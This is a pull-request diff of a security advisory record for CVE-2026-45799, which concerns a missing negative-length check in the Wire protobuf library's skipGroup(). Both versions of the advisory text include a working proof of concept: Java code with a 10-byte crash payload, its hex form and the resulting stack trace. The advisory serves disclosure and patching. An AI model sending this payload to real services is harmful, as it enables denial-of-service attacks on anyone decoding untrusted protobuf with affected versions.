Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-7xpr-hc2w-34m9",
"modified": "2026-05-19T19:54:50Z",
"modified": "2026-05-19T19:54:51Z",
"published": "2026-05-19T19:54:50Z",
"aliases": [
"CVE-2026-45799"
],
"summary": "Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service ",
"details": "# CVE-2026-45799\n\n## Maintainer summary\n\nWire's protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire's documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable legacy releases, including `5.3.1` and `5.3.3`.\n\nPatched versions: none.\n\n`com.squareup.wire:wire-runtime-jvm` is a discontinued legacy artifact and will not receive a\npatched release. Users should migrate to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire's documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nThe originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the\ndiscontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate\nis `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n val length = internalReadVarint32() // returns signed Int and can be negative\n skip(length) // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n val newPos = pos + byteCount // for example, 7 + (-128) = -121\n if (newPos > limit) throw EOFException()\n pos = newPos // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n if (pos == limit) throw EOFException()\n return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n val length = internalReadVarint32()\n if (length < 0) throw ProtocolException(\"Negative length: $length...\")\n skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n public static void main(String[] args) throws Exception {\n byte[] payload = new byte[] {\n (byte) 0x9B, 0x06, // field 99, START_GROUP\n 0x0A, // field 1, LENGTH_DELIMITED\n (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128\n (byte) 0x9C, 0x06 // field 99, END_GROUP\n };\n\n AnyMessage.ADAPTER.decode(payload);\n }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06 field 99, wire type 3 (START_GROUP)\n0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int\n0x9C 0x06 field 99, END_GROUP\n```",
"details": "# CVE-2026-45799\n\n## Maintainer summary\n\nWire's protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire's documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable legacy releases, including `5.3.1` and `5.3.3`.\n\nPatched versions: `6.3.0` and later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire's documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nfixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n val length = internalReadVarint32() // returns signed Int and can be negative\n skip(length) // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n val newPos = pos + byteCount // for example, 7 + (-128) = -121\n if (newPos > limit) throw EOFException()\n pos = newPos // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n if (pos == limit) throw EOFException()\n return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n val length = internalReadVarint32()\n if (length < 0) throw ProtocolException(\"Negative length: $length...\")\n skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n public static void main(String[] args) throws Exception {\n byte[] payload = new byte[] {\n (byte) 0x9B, 0x06, // field 99, START_GROUP\n 0x0A, // field 1, LENGTH_DELIMITED\n (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128\n (byte) 0x9C, 0x06 // field 99, END_GROUP\n };\n\n AnyMessage.ADAPTER.decode(payload);\n }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06 field 99, wire type 3 (START_GROUP)\n0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int\n0x9C 0x06 field 99, END_GROUP\n```",
"severity": [
{
"type": "CVSS_V3",
Expand All @@ -20,25 +20,6 @@
"ecosystem": "Maven",
"name": "com.squareup.wire:wire-runtime-jvm"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.3.3"
}
]
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.wire:wire-runtime"
},
"ranges": [
{
"type": "ECOSYSTEM",
Expand All @@ -51,32 +32,7 @@
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 6.2.0"
}
},
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.wire:wire-runtime"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.0-alpha01"
},
{
"fixed": "7.0.0-alpha03"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 7.0.0-alpha02"
}
]
}
],
"references": [
Expand Down